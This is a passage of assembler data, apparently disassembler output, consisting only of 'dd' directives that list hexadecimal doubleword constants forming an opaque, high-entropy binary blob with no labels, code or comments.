		dd 23E79869h, 429B2B5Eh, 66A020F3h, 91B1917Bh, 0E7F03868h
		dd 1E115783h, 29EDE2AEh, 48E37CACh, 0AC5C658Ah,	4CDE0BCh
		dd 5BAEE28Ch, 9EB754EEh, 0AFDBFABAh, 3E2BC8F2h,	0EA743A00h
		dd 0BA911AB3h, 0F7C6D1EFh, 54DE4CDh, 2CD99680h,	0D2E48FA4h
		dd 9A892A18h, 1B6A20C5h, 96215A16h, 7A28F85Ch, 0C1F92936h
		dd 0D9583D52h, 0B4575A48h, 9B6E9F58h, 0E151C1E7h, 0C3D67279h
		dd 53DE8F19h, 0A60D466Eh, 0F0F357DAh, 0D9FA2938h, 0EFF8B297h
		dd 2869A396h, 0E2DDAD62h, 56BAF4AFh, 24E1EBC0h,	72372625h
		dd 4DBB4637h, 0BCD7AFFFh, 0A1D80318h, 0DD61400Ch, 6FE17312h
		dd 0D4B7938h, 0C69829E1h, 7DC060D3h, 52FAA832h,	2148832Bh
		dd 0AB974C8Ah, 2E9F0721h, 979DA6C3h, 0B6147560h, 0FB704453h
		dd 9B56A600h, 5761C231h, 5874491Eh, 0C38CD5E6h,	0C8BC6F8Ah
		dd 0AB1E0D6Eh, 0AA34E491h, 0A73C3BAh, 86763E06h, 0DB3C296Fh
		dd 48BE529h, 729531h, 92EF7555h, 0A4CE8BC1h, 0AA46AD1Eh
		dd 0F5157DBCh, 9E9200E7h, 7CB87846h, 0E817CE62h, 0C4CFC2BFh
		dd 0F742FCB4h, 0DB891F73h, 31DAC3CEh, 8D6A579Ah, 3680042Dh
		dd 0CC571D11h, 599AE04Bh, 36C71AAFh, 0D30F7E84h, 0A488E8BCh
		dd 0B49890EEh, 0BF24E6B0h, 8246A376h, 0E213E421h, 0AB601FC0h
		dd 430AF0C1h, 0D960C333h, 0BBCC5F7Bh, 18C3E5A7h, 22FBDA10h
		dd 2D6AD847h, 0B1409B69h, 8D6016D7h, 0D941DDFCh, 89998323h
		dd 0FFEA36B4h, 0CC262F04h, 0AA98FD68h, 0F2A18585h, 0F755DBA7h
		dd 2CBF1F42h, 4063A0ACh, 0DA42DC81h, 7209E914h,	0FD77F297h
		dd 1D3CFAD1h, 7A1821C7h, 0B0CEBA2Ah, 7FADA1B7h,	200BC897h
		dd 0D1885B57h, 9C337450h, 1DAFFBDAh, 63A7C488h,	53E1AD45h
		dd 0F6323E8Ch, 5D1AD47h, 4A23B04Ah, 89326791h, 2916BC50h
		dd 9376F2B3h, 53CF7E5h,	25A51FDEh, 0E492C024h, 0DDB89C5Eh
		dd 9B6576CBh, 0A1164964h, 0A1A69E52h, 0ADE79C02h, 0F9F847CBh
		dd 75415298h, 0B3169EA1h, 49C52D15h, 0CFECB0CEh, 0CA051E68h
		dd 769B83FAh, 0B366FE6Ah, 0C70D2A1Dh, 0B5940BB2h, 5FF75CB0h
		dd 36A7A98Fh, 69030F88h, 0DE19EDh, 2B159084h, 0FCAA699h
		dd 222730B9h, 0FFBB9525h, 85BB498Eh, 4DDEAE62h,	597709C2h
		dd 587BA78Eh, 83A3DEE2h, 37C4A108h, 13A0B81h, 771E18Ah
		dd 0FE8B8204h, 624BC91Eh, 8735EAF5h, 9868AC9h, 205081DAh
		dd 0D398DACCh, 489C34DFh, 55FC7661h, 72DB7F6Bh,	2F89172Ch
		dd 6F381190h, 0AA358189h, 0FA1175CEh, 47CE48E9h, 20BB73C2h
		dd 0B463410h, 18104626h, 0FCF90AD5h, 5A925123h,	3CA1D8DDh
		dd 0E654FBFh, 3095DECFh, 0B294B6D2h, 2D7A428Dh,	1505B5A6h
		dd 0ED66DDCDh, 3087C641h, 7AD4C19Dh, 0EC451338h, 469CA645h
		dd 0EF527D2Eh, 28ED0E59h, 4BE775F6h, 0C0E1D79Dh, 0AAEBDDBh
		dd 0B148B08Fh, 0DA54DAB9h, 2CA24DFBh, 0E40CEC64h, 1A0F8948h
		dd 1139FC6Ah, 3E614806h, 14A19122h, 7F0979CCh, 0B11E2636h
		dd 0DB23AED9h, 74A0EA6h, 882C8D48h, 0C53850D0h,	0B3370923h
		dd 0C2E19556h, 458B604Fh
		dd 6B47F46h, 506B65CFh,	0FFC3F675h, 0C263D168h,	2E9963B6h
		dd 2A2F56BCh, 7BCB0B48h, 0DF94FF6Ah, 0A14973ADh, 0FE8F9410h
		dd 34D89213h, 0B046305Eh, 99C4EB6Ch, 7D40E096h,	710051A6h
		dd 9D9877E9h, 5E212EF8h, 48B582F6h, 0C3D4D9CBh,	1DCC7B1Ah
		dd 829B0EECh, 9263FD2Eh, 59EC4B7Fh, 282B28F6h, 8D06639h
		dd 89038CB4h, 88A6654Eh, 0E068E66Ch, 91BAB328h,	7D611612h
		dd 2F5E1417h, 9D71944Ch, 24D0F825h, 0EA16C649h,	7EA52AB6h
		dd 58ACF7A1h, 754C229Dh, 0C0CC5A00h, 0EE6712BAh, 0D2BD6AFFh
		dd 30BD9CD1h, 1137C7C9h, 86CA641h, 977459D8h, 808549CDh
		dd 0B6FF1AACh, 5E9C56CDh, 395480ECh, 7918ACB3h,	929E7FB4h
		dd 430AF6D8h, 0EA8A022Dh, 0BFBF5259h, 11B7054Ah, 4423B29Dh
		dd 0F73E3AE4h, 348A9A46h, 68E19BCEh, 0C873D27Ah, 7F799F74h
		dd 159E9DBAh, 3D1BD282h, 129C5443h, 804DB051h, 0D9912045h
		dd 11841BF2h, 0C2A799CAh, 6E123F31h, 0A30E286Ah, 8FE788Dh
		dd 0FA00C9EEh, 0C890317Ah, 0D277C873h, 29E2465Eh, 0CE370C44h
		dd 4DA80095h, 3E24881Bh, 4DC4BCE3h, 931A4532h, 0BD2072BFh
		dd 2432615Eh, 0C0EBD4C3h, 0DD06E8CEh, 0C3D22C7Bh, 770D8391h
		dd 2B69CE99h, 53A02F8Dh, 0FA936E01h, 0D3F628C0h, 3E7A5304h
		dd 0CB122E75h, 0A41E0EB7h, 51589752h, 79AEC01Eh, 5C86C035h
		dd 443F97AEh, 3F8F7BBEh, 4FD57AD3h, 20108AAFh, 96C555F6h
		dd 0D5611B9Dh, 626750A2h, 6C8EE6A0h, 0F739C2C0h, 448CD0DFh
		dd 1FBEC689h, 18FEC0E1h, 0B1AD67Dh, 21B40241h, 0E5AF1ACCh
		dd 191B57DBh, 4FC8AB2Eh, 36FE38AAh, 565DAF27h, 0EC1F8D94h
		dd 2F1AA85Eh, 0B1705D13h, 7C4791AEh, 45841653h,	0E1EA815Ch
		dd 4FD38559h, 0C1BF320Dh, 157EF8D0h, 23944BB2h,	0C84E6B17h
		dd 285E7D2Ah, 5771FB1h,	0DC35BF80h, 0A452E974h,	4EAD2D2h
		dd 5B852322h, 22D16B02h, 0E108F913h, 59A66498h,	46767964h
		dd 21EEEEC0h, 0EE3F0AF0h, 93533936h, 44158866h,	273176F0h
		dd 0C28413BDh, 9B65BF57h, 5F83DA2Bh, 45C2AE23h,	0E38F4F5Bh
		dd 0ACEFBAA6h, 74483F59h, 7CE46CFEh, 129E4E6Bh,	0D672ED42h
		dd 1E84B2B0h, 0A168709Eh, 5B2B7248h, 0F3FF638Ah, 0CFCF5E80h
		dd 3C5D7CC5h, 4810AE82h, 823B6897h, 0B55E8CFBh,	3551D994h
		dd 0BD15F3B2h, 6F8A6C5Ah, 0DBF77F3h, 96A5D3B9h,	668B62DFh
		dd 1B3C5773h, 0F41DB47Ah, 86C0586Ch, 1F418FBAh,	0DABCBE5Bh
		dd 97A128FAh, 16C69EE7h, 42DD1818h, 294FE669h, 0EC9C4BA5h
		dd 11ED8476h, 1EBC7D05h, 3AC2D381h, 0D3B27D3h, 273077E2h
		dd 67996F4Ch, 0FFBE48F3h, 68ED75F8h, 0B6FA56C0h, 5AD547DFh
		dd 0B2EA368h, 0E1CE16EBh, 0ECB7C816h, 0FFCF36B8h, 1DA82B0h
		dd 0F23332F3h, 5EE88304h, 1C15235Ah, 0D5DB88A3h, 0AB5B6DEBh
		dd 9F7BA43Bh, 0A056FA2Eh, 7DE07CC7h, 5380D223h,	79BA773Ch
		dd 0EEA37982h, 58647F85h, 11EAEB79h, 3088A69Eh,	7EC7A375h
		dd 0B0D58981h, 5A56B0C8h, 56F93C3Fh, 0CDE9EF87h, 0B6358E59h
		dd 20E4A40Fh, 323BB44Ah, 5868F84Fh, 89C72413h, 902FB475h
		dd 0D1AAC8FBh, 0EA4D966Ch, 1FB3BDB9h, 3B8A6F8Bh, 0BEDBB5DFh
		dd 59489359h, 4C71E51Ch, 73657471h, 0F17539E6h,	577949CDh
		dd 0B892F74Fh, 9BE42F3h, 71D881D1h, 80E32774h, 0E1A9DA10h
		dd 803974B1h, 952C915Bh, 35D3C31Fh, 54D6D629h, 9A9138F6h
		dd 1C9AFD0Bh, 7DB3375Eh, 1D54794h, 0EFFE5E6Fh, 0EEC187CEh
		dd 5F8AF61Fh, 0AD97B1B4h, 0C9793C76h, 57874445h, 7044ED93h
		dd 0E8A45B5Eh, 59DBB046h, 0CB460DC8h, 74F826E7h, 8AC83C91h
		dd 0DAEDFCACh, 0B51E9D9Ch, 3E395F4Ah, 0BD7DE7D0h, 180B6EBEh
		dd 71EE508Ah, 757DB572h, 9B006805h, 0FDBDCB8Ch,	57593C7Ah
		dd 4CE9B77Ch, 0B4446BECh, 827B204Ah, 0F4E5FF50h, 8484A503h
		dd 0A0F350ADh, 0B644A73Ch, 0A64AF7E6h, 0C830AA54h, 0DC483F1Ah
		dd 67C49DEDh, 0B24C5845h, 0C152EC60h, 6C51C717h, 0CD162C63h
		dd 26D521Dh, 3DEE54BDh,	431A59A3h, 0DB2CB926h, 0C6EDE0ECh
		dd 6021643h, 0F192DDh, 2D11F34Bh, 7699E969h, 0FDA3ED65h
		dd 0D13CA86Ah, 0CE2B337Dh, 357CC49Eh, 94A4A1F3h, 0ABDE6DDBh
		dd 0EDF0B48h, 0CE84949Fh, 13D8CB2h, 0D512D2E8h,	9985A3ACh
		dd 3407BB36h, 0C01A400Bh, 0AB04C1F4h, 0A5A864EDh, 5943F3A1h
		dd 6FDDDAD2h, 2077D0DCh, 0CD6FD6C6h, 0CCD38884h, 4CADB2A1h
		dd 2328B721h, 5E4156EDh, 9402C9F8h, 0EC148EEh, 802D4505h
		dd 830B215Dh, 5C0EE95Bh, 0AFF1C29Eh, 5633D578h,	545C3B6h
		dd 248F9080h, 0F294EB3Eh, 0C785FCFh, 0CF7ED321h, 0ED67DC7Eh
		dd 5BD2BCE7h, 5FD939CCh, 0D5586CC6h, 52E3582Ch,	5240D0A1h
		dd 0DF9F6DCAh, 0EBD64784h, 96E41443h, 4D2653CBh, 1180A560h
		dd 49175856h, 3EAEDB76h, 5E3D696Dh, 18A24A17h, 37ED540Ch
		dd 8CC43856h, 0C4EF3C80h, 1E025278h, 0A125E2E6h, 0EB212D7Fh
		dd 64CAC5D5h, 0B75E7705h, 1B8C9F23h, 540B74D7h,	4BCCCB9h
		dd 0E7904B0Dh, 63126443h, 84A0FAA2h, 84647654h,	0B4D13B7Fh
		dd 1191DF70h, 0BBEA701Ch, 3C33EC80h, 0A1C04A84h, 8B3440FFh
		dd 4984498Bh, 8D35CD00h, 1CD7995Bh, 854F3D42h, 144FE9F1h
		dd 907EAE96h, 0E3128846h, 58429ED1h, 0BAA5FF4Ah, 281964Eh
		dd 0E20CB306h, 0E15FCE31h, 0AD391044h, 0EC85A3FFh, 757C166Bh
		dd 5CD9ADB1h, 0D17686F7h, 83408FA2h, 792B19A3h,	0AF86F7F5h
		dd 7E32D440h, 0F14E27DEh, 5C13511Ah, 91A236Eh, 0CC7A4B03h
		dd 8F0B275Ch, 0B96FC3B0h, 0B68CEF5Fh, 4EB58188h, 45EFD419h
		dd 6DD24AD4h, 847CD1E2h, 2ABE172Ah, 0F010D58Fh,	0E560E8ACh
		dd 6D5AD5F7h, 0F9F2A233h, 0A95F954Fh, 0BFD2E0B2h, 643FB91Ch
		dd 866AD146h, 845D0D44h, 16E47A90h, 9682BFD3h, 386D8A73h
		dd 9B08C413h, 0A7A3C39Ch, 6C149C7Fh, 0A38CAE4Ch, 271E7E64h
		dd 0DB2E0E1h, 2D807C7Dh, 46CD574Ch, 0F7A530FBh,	671A5911h
		dd 6D9372B1h, 64D8371Ch, 1245743Dh, 0B571CE0Ah,	60983819h
		dd 6C36E18Ch, 2CF05614h, 7D3E086Fh, 0A500E82Fh,	84A12437h
		dd 0D31C4CBEh, 56C9CCF4h, 42639242h, 12F691EAh,	8A2D28A3h
		dd 0D0C4AA7Eh, 0B190BDC3h, 0CBDB2D5Ch, 8B2ED469h, 0F850F52Fh
		dd 4ABE2FA0h, 5231B8D8h, 0ED4B867Ch, 66B6D132h,	75C930A0h
		dd 0E5456CFDh, 5104A251h, 80D807D5h, 682D5D60h,	0B796B9A4h
		dd 0C3FB4CF4h, 0D2314FDh, 0C048E4D2h, 84213204h, 0A27A7C75h
		dd 0F2B0B8E0h, 16FA8B0h, 0CC8F44FAh, 0B09D0577h, 9D207167h
		dd 0BEC969C8h, 484DADC9h, 91B95DF9h, 1800F90h, 4067DAEEh
		dd 5ACDB6Dh, 2018EDCBh,	9BC92E9Bh, 13B3DD36h, 4ACF6769h
		dd 373259Fh, 7E80924Dh,	9D907E7Ch, 0F0BD3FE3h, 4BE0A682h
		dd 0C7D47B2h, 7218CD43h, 0B11F262Ch, 1DF8C7CBh,	154B3157h
		dd 30E7EA5Ch, 0DE40CF9Eh, 2353908Eh, 5C5CA5B3h,	21494D45h
		dd 5F7DA2BBh, 32ECA2AEh, 4C5B1DDAh, 0CCAF72E6h,	514AE284h
		dd 54644BFh, 5DB6EA84h,	97B006F5h, 2675F147h, 7B6808BEh
		dd 633FC3Fh, 8BD74811h,	44C24F4Ah, 7CF90502h, 6595BF94h
		dd 4AC5A9AEh, 0E3F9AEFAh, 2E857247h, 2F014B18h,	1180F7B9h
		dd 0F546DE7Ch, 51627794h, 7C7CE818h, 0D225BC93h, 7812E724h
		dd 92B1A5C7h, 99FE8A8h,	60722BE9h, 9A683CEEh, 0CFCA35B2h
		dd 0BFA65692h, 907FF389h, 40687F48h, 0BA5A885Eh, 0FEFABDDCh
		dd 17206745h, 7B70F1BDh
		dd 87CDCCCDh, 341C93EDh, 0EF37F49Ch, 7FA75A61h,	3CCAFCA8h
		dd 0AC8239D7h, 0C6D200B6h, 0BB58A133h, 5682F350h, 0E2A837B3h
		dd 2952EC8Dh, 187C4EF8h, 0E689103Ah, 0A99BA69h,	5DFE8D24h
		dd 8118ECC7h, 0BA994AA5h, 1354EC7Dh, 11A2C1Ah, 298E5D35h
		dd 4EAF5D78h, 36F1DE0Ah, 6F567F66h, 997995D6h, 1A4D4550h
		dd 0AA8BC3D1h, 8A1AA220h, 81DF486Ah, 0E1DF3A46h, 56F7521Fh
		dd 7AEB78Fh, 2F5782BAh,	0AE0391B5h, 0EF22E551h,	2B10E9B9h
		dd 0B32B29F8h, 0B232A6F5h, 37AD53B3h, 797F7E21h, 0DAB876BFh
		dd 6F496E9Ch, 77383038h, 3FC46C7Eh, 80A44E58h, 0BD9D7A8Dh
		dd 788F03E9h, 7AC420A7h, 0D5422D3Dh, 6B8E6911h,	2909986Eh
		dd 6B6B1452h, 3E94C4F3h, 0A24D38F8h, 76A3B986h,	86CBE071h
		dd 1E32C5ABh, 70A3CAF6h, 273FE010h, 9191772Ch, 400B6DF3h
		dd 0DE37468Bh, 0CCF5B930h, 0B5941FC1h, 0FB8AE5CAh, 49EC7AD9h
		dd 0EDE93D9Eh, 0C4D90C75h, 0EBA3F71Ch, 2079B3E9h, 0B05C2994h
		dd 0ED55326Eh, 4D6511FCh, 4456A94Ch, 941232FCh,	37E1692Bh
		dd 1D9D8CD6h, 755AAE90h, 0DBC41AAh, 0DF59009h, 1439351h
		dd 73742860h, 9FE4594Dh, 0D0B662FEh, 1C6DF68Fh,	1159828Bh
		dd 288E7C8h, 0ED22EF41h, 994A14C3h, 246A547Ch, 430F9487h
		dd 0B655430Fh, 54BDC631h, 0C8E40980h, 0CA5A089Ch, 224853C6h
		dd 27893253h, 61F264C0h, 934289B9h, 82871C14h, 0E4B35917h
		dd 34C54282h, 870CB372h, 0AFD0988Dh, 0DB6845C7h, 623A2B0Dh
		dd 0FD5FDE26h, 1E34CAFBh, 5EB9AF47h, 748239CCh,	7CB66F9Fh
		dd 68DC4273h, 0E30393CBh, 0D9155F54h, 0EB05733Ch, 8AA05DC8h
		dd 42DD6D41h, 0F8342667h, 0C3E8DA66h, 9A8DE48Eh, 0A807AB7Dh
		dd 6254BC7Ch, 0D586AF11h, 1D3903D2h, 587E8744h,	0DBF174E6h
		dd 0ADD9E16Bh, 6EC8708Eh, 5FC33A4Ah, 8179784Dh,	57AE9ECCh
		dd 0D8B7F534h, 9C7B2CD9h, 2530EA81h, 0BA3F4352h, 2262A40Bh
		dd 879CC6B8h, 8B1D0709h, 5653DF30h, 90F541E5h, 0B70664E6h
		dd 3D6574B4h, 974AB7D8h, 916714E6h, 1855D18Ah, 81B90006h
		dd 9BA5707h, 0D6FCE7A4h, 0F58A3055h, 0D76BA6F8h, 58E22A5Fh
		dd 157A56F7h, 84088DF9h, 0C39FC7C2h, 0BECDFF71h, 66865BEBh
		dd 9B9879A2h, 0BC882Ah,	9D4D8011h, 0F334C482h, 28BD83DAh
		dd 0DF041C90h, 0B49D75F2h, 5E2E213Ah, 167663B7h, 0C3B43812h
		dd 765E1DFFh, 0AB1ED67Ah, 0B57C8A84h, 0C37089C8h, 6C832F1Fh
		dd 0C75A6CAFh, 0EF4705C7h, 0A5EB7173h, 88DDA0A6h, 0E7CB03A5h
		dd 90FEE846h, 47E875CBh, 4BEB9856h, 7407851Ah, 19BF55AAh
		dd 0C8C208E7h, 0BD0A89Bh, 91572482h, 68AF33EEh,	0EAC4E15h
		dd 0EFA9CAAh, 9B992DDh,	0AA80AFEh, 7722952Ah, 0DF84D9D6h
		dd 19E2E1D9h, 99FAF597h, 6385DF95h, 0D475BA0Eh,	8BE4EDF7h
		dd 30FB5934h, 23FA9C69h, 64991889h, 2E8BB53Eh, 412E14F4h
		dd 49AFB817h, 33C41618h, 224FE0C9h, 0DF6C0413h,	325CBC6Fh
		dd 0F912DD81h, 1AEF63Ah, 0A9C4A872h, 0FB71634Dh, 1E526602h
		dd 333F69A5h, 0D201F653h, 0F5AA4299h, 0CDE644A8h, 2B54F018h
		dd 5A7489D1h, 0BFB6DC83h, 0E794BB14h, 2761BD4Bh, 9255B0Ch
		dd 0B01CCED3h, 0BD36CE52h, 0D6CB0D0Bh, 0C0BE67ABh, 0D315B241h
		dd 0A039148Eh, 1A25411Ah, 51625768h, 7E55AB8Bh,	430C964Eh
		dd 8B102D22h, 0A39C0875h, 8C548E01h, 0C697F66Fh, 20CA34CDh
		dd 0A3945AC5h, 7F7DD30h, 349BD79Dh, 0C3860BD5h,	3A809E27h
		dd 242B29F0h, 8CCB047Bh, 9C53F953h, 7972D379h, 7818B610h
		dd 4A06327h, 0A5B10BE9h, 9BFB933Dh, 0F755FDB9h,	0A71E6921h
		dd 0A5840237h, 598EC7B3h, 0F69D84CDh, 7A1DB35Bh, 5E5153D4h
		dd 0DC0FDE7Ch, 0C8081016h, 0B0B19FFAh, 19E0FCB7h, 571CDFFh
		dd 634A54E1h, 28BCAB8h,	98A54BBCh, 547E071Ch, 6DB1CB5Eh
		dd 664C51C6h, 14326748h, 0DEA4218Eh, 5FD43C8Dh,	3FD7D492h
		dd 248A18F0h, 0CD88BA42h, 80A48C47h, 113B269Fh,	130A938Dh
		dd 0D25FBBDBh, 4901D9B0h, 18B0C897h, 292F7134h,	31DC9158h
		dd 419910BCh, 0C3D08959h, 5941D8D6h, 3B7882C4h,	300B4FEh
		dd 9A79D3CDh, 0FABC885Fh, 6ED76495h, 1D6D9AC5h,	0E8A4B752h
		dd 0DEA01965h, 4D719DDDh, 1A321315h, 9F693E43h,	0D69D06BAh
		dd 0E0974715h, 0DD3FE11Eh, 0AB4D5F05h, 1A007795h, 7B8BB162h
		dd 0CBAC12Eh, 0F987D3D3h, 57630555h, 94A03774h,	0F2E162EAh
		dd 606C89CCh, 966B3E4Bh, 4FCB434Fh, 4E80FB6Ch, 4C0D7EB4h
		dd 7FDC2FB0h, 0E0DFD849h, 0FA9205E1h, 0BD7AB777h, 0E0F9A106h
		dd 0D30C015h, 0C9089621h, 0ADBC2EBCh, 0D9213071h, 0A738FAB6h
		dd 70CB5ED2h, 0AB134F4Dh, 0B35614DAh, 4060275Dh, 507D65A4h
		dd 8DBFC48Dh, 89F22FBEh, 5C8CEC00h, 35911855h, 5FFAAB9Eh
		dd 35F45EB5h, 3766630Fh, 5C98BF43h, 784FE813h, 841B0F55h
		dd 0F470B56Ch, 28A0AD1Fh, 3CCD21A1h, 2EF24DE7h,	0AA7805F0h
		dd 0BE3EADE0h, 9085FF3Dh, 0F2B0D936h, 0E3459B44h, 797D1412h
		dd 0E184F716h, 902C0C4Eh, 748007Ch, 0F174C26Bh,	0BD5C7668h
		dd 5C3707BBh, 0F16F9BC3h, 0A012C1A6h, 6D16F532h, 0B084AAE6h
		dd 4EF9424Bh, 0B78D60E9h, 1E2DFF84h, 0E012E9C3h, 24F216ECh
		dd 0DBEE9C93h, 6BA997B1h, 8ED64F73h, 0F72EB1Fh,	0A6F2CFBh
		dd 951376Dh, 0BA2C7792h, 8B03B767h, 8B31FA14h, 5528FECFh
		dd 9339A00Ah, 0B135D39Ah, 812A7D2h, 814E90C5h, 0B36A47Bh
		dd 6A9D2B0Bh, 0BC06CB24h, 0C26FD3F5h, 5A442ADh,	70A042B2h
		dd 0C86E6CFh, 5A32DA0Eh, 0BB9736Ah, 44FD07B8h, 96B11508h
		dd 6A7D4F34h, 0CF466869h, 0FA80D132h, 4D2E7FF0h, 70E6FB03h
		dd 3F60DA66h, 0C4DB95FBh, 42E482E5h, 9ED71764h,	731F32FEh
		dd 88BF4E1Ch, 0FBC1A034h, 41DF906Bh, 7CB6A2Bh, 141311F4h
		dd 0A9C1F34Fh, 67712374h, 556A4AF7h, 1E2BE16Ah,	1578D5AAh
		dd 3833D7D9h, 53E1CC28h, 341173AEh, 27ECF7BFh, 0D58CEE49h
		dd 0D861142Ah, 0D1A49D76h, 0AD90771Fh, 65A3E524h, 0F67081A8h
		dd 0DE2B9ADh, 0B93982A8h, 0DBEBD256h, 3A04B329h, 0B33CCF55h
		dd 429C74F9h, 5F13B23Dh, 0EA20D465h, 3FD78DADh,	0C0859440h
		dd 7F1583CDh, 0D5F4DFF4h, 9A51187Ah, 925377A1h,	9EF5ECE9h
		dd 0FA6245A8h, 0ED2A411h, 0EFBC053Bh, 525EA632h, 0CA21AF00h
		dd 0D420B5C8h, 0F380BAD1h, 0DBBD46E6h, 76291152h, 0DF5CC60Eh
		dd 2C742219h, 0EF9CA6A3h, 167F13CBh, 0FBE7D844h, 0C17D016Bh
		dd 0D320BAF6h, 0AD73494Fh, 972BE405h, 5F1FD129h, 0EB57CE5Fh
		dd 0AD1648C3h, 2645BB32h, 65392676h, 3DACE68Ch,	74757BB1h
		dd 91B73F8Ah, 8BFF39EDh, 0EAF16CBDh, 0B4BF4C29h, 96BB3C96h
		dd 0A32EDEC2h, 36EE12F5h, 5A4F480Ah, 0D085B2C4h, 0AB76E339h
		dd 1B59C240h, 0FCD48D78h, 6F7E3660h, 8B1E51E6h,	76B7D6E6h
		dd 4146AB2Ah, 0A549AE2Eh, 0A1349480h, 0C8AC703Fh, 0A1880D42h
		dd 0E81DD37Dh, 65A0B5C4h, 7DFD8963h, 0C6A41C90h, 4F37DADh
		dd 6E617925h, 0F171857Ch, 31E26557h, 55346560h,	0D5389838h
		dd 0D6C4A1A4h, 81FD689Bh, 0D87E5736h, 283A261Dh, 0FF01C8C6h
		dd 0B03ACB5Ch, 95181211h, 142034FFh, 3F0AA290h,	778FC450h
		dd 3EC079F5h, 0BDB193AFh, 75E46A08h, 50215CD6h,	0FB862AB7h
		dd 0F455EE1h, 2AD0B1D9h, 3A26F46Ch, 22A39883h, 29F49696h
		dd 20C351D2h, 1875B447h, 1158144Bh, 1B50581Bh, 8E20DFA3h
		dd 0F6780E1Dh, 6F7D945Ah
		dd 41CADDCEh, 7251E7BBh, 454BD000h, 876BB510h, 84A4FA46h
		dd 9A6E5AAh, 2BAA1596h,	79C0E5DBh, 93BBF674h, 0A0256275h
		dd 0F9D7A75Eh, 74DD9960h, 4896600Dh, 0E11DE39Ah, 74BBE990h
		dd 279B5696h, 8DBA58CBh, 0F9889890h, 5178B426h,	0D9DB1A3Bh
		dd 7D6715A3h, 1EDC16EAh, 120FB06Ah, 0FEBD713Dh,	0E473F6F1h
		dd 0E80B08DFh, 3EE502A4h, 0F5B1388Fh, 1604C0F8h, 0CFD805B8h
		dd 0EFC9F9EBh, 0A56C3FF9h, 0E50B76D0h, 6A454B36h, 0AA99C74Ah
		dd 993BD3BAh, 4E354B97h, 9094D9A3h, 7775B988h, 0A028F878h
		dd 0B610EB7Dh, 607542EAh, 0C8325960h, 3B02225Eh, 2FD6B51Eh
		dd 0D4296BEBh, 93DB233h, 2BF7C650h, 0DCF091A6h,	3C7CBA6Bh
		dd 26920BB6h, 0FA2501BDh, 494A14E4h, 0A087049Ch, 31171ACh
		dd 384BA24Ah, 21A742h, 31D255Eh, 0A3C178E4h, 0C73B8F3Ah
		dd 334A8766h, 0CF7979ACh, 78015475h, 726A0AEBh,	761522EDh
		dd 90D0A51Eh, 390B88D2h, 0A7A0BC1Eh, 43A7CD2Fh,	99FBFE5Ah
		dd 0DB0D4741h, 0D21D7D4Ch, 0C20CF85Ch, 0A339F0Fh, 0DF55BB4Eh
		dd 242FC793h, 0E41D2870h, 341398C2h, 82544702h,	4D900C01h
		dd 0CED76CA9h, 3D5E51E9h, 81C893EEh, 0FB671C6h,	0E3F20E75h
		dd 0D26DDC4h, 691F5259h, 0B5475B59h, 3AAF4C2Bh,	4EBB9A31h
		dd 2FCEFF41h, 0C7992976h, 774E6E70h, 0DF75D7C7h, 7C39CC39h
		dd 7A643EAh, 0D6792DFEh, 90367C4Ch, 3A70ED6Dh, 23E45D49h
		dd 5DC98026h, 44C7BED0h, 0CAC824F9h, 0A09101AFh, 9EC7CA65h
		dd 8D02D9Eh, 0D78A1C95h, 0F90F0F5Eh, 0A7D5D577h, 9D3D5D56h
		dd 6C7BC15Ah, 22D3A5h, 0D22C02C0h, 7CC9172h, 0A5BB6F74h
		dd 64D7F29Ch, 5EAD2DAFh, 0E7C669A5h, 61BFE5C7h,	859F9B71h
		dd 0CFE69D88h, 7D3C7686h, 2FA88D09h, 0D6D8FC84h, 26ACC3A7h
		dd 0D8625A2Ch, 0A08F8DB0h, 6AAF8B20h, 3D1D7DC9h, 8FCF69B9h
		dd 8156D059h, 4D017835h, 300ACBE4h, 2CE0AAD1h, 0E5E6E5Dh
		dd 0A8F41F5Bh, 973238A5h, 5A5B5D1Dh, 0F2725856h, 6813319Ch
		dd 54FA40FCh, 9E9D5188h, 587B0C41h, 7D0B5380h, 0BE3FE1A0h
		dd 5E36106Eh, 0A19C7A91h, 18D49517h, 5D0DC091h,	4D5E0E5Ch
		dd 0E75818DDh, 524FD282h, 7E89E5B0h, 25F81321h,	26983D26h
		dd 4C2DBB84h, 13C9C134h, 90BFC441h, 0CCF7F18Eh,	0F61385DFh
		dd 57D3F810h, 0D684155Fh, 868F2B3h, 0CD9A576Bh,	3832982Eh
		dd 0B4DAF576h, 0E9E8A697h, 0DB8CEDC0h, 0E6BE42D2h, 7AE814AAh
		dd 3FA9E324h, 5E0FFAD4h, 66F0D5B6h, 0E395FB69h,	28B12CA6h
		dd 0C5BAD394h, 0AD922C7h, 66787E2Ah, 666FB7F8h,	603A04F9h
		dd 80D2AE5Bh, 0CF91F17Dh, 412C7BEBh, 4C11FFFDh,	29FF146Fh
		dd 0BDE53F24h, 1A1F9375h, 7DDE5455h, 0EB01E518h, 0AEBD5370h
		dd 0DC6E34A5h, 0FB701422h, 615C21C2h, 8D9AA56Bh, 680D7AFCh
		dd 0B3EA1132h, 9F878F45h, 36C8200Fh, 5E277E2Ah,	0CD1E14B1h
		dd 36065183h, 60463206h, 0B079C0B9h, 52F49501h,	0E6DBB35Ah
		dd 0ED89E34Ah, 0EBD9323Ah, 0C8B19673h, 86B90AAEh, 5C51C1B2h
		dd 0E9D69BA0h, 0F9C7F4E6h, 483379AAh, 654B2732h, 0FBEB8BE1h
		dd 0FB3A79FFh, 0E5BFA5FEh, 7F867601h, 1F944C39h, 4CF751EFh
		dd 0DCE869E8h, 0B7A77209h, 0A4B2DEE2h, 0B1A52E3Fh, 5642EB7Ch
		dd 8B4F960Dh, 0E7F6897Ah, 5BBFA64h, 0B30C7250h,	94E8F688h
		dd 0B3EAAE7Ah, 50B67914h, 0D8D437DDh, 0D42A7E99h, 0EA742796h
		dd 0AD8A386h, 8A0BA3AEh, 0EBF1927Dh, 7F0636DBh,	199BA10Dh
		dd 0D2D16229h, 0F664093Ch, 5BB46C7Fh, 837D87C2h, 407DA8B1h
		dd 0F5F4F2F0h, 1F476016h, 5F5C4E33h, 0D1CBECC9h, 3571884h
		dd 0D97953EBh, 29A5CF31h, 502C6C4Ch, 13568C33h,	0C0B8E29Eh
		dd 5747BBAEh, 0C8071AC8h, 9C5104EAh, 1F7CF390h,	92246F26h
		dd 0F015AB90h, 0B1872371h, 0F464596h, 97DF493Fh, 0BF26ECF2h
		dd 0E04B9B0h, 0CBCC1495h, 8FB0A24Ch, 1626134Dh,	0CD7C782Bh
		dd 793FA7BBh, 3A6E856Bh, 62C66239h, 0D18F719Ch,	0C76799AAh
		dd 0BBF77496h, 0A51DBD09h, 0D3673794h, 8911F8C7h, 0F04B5A6Bh
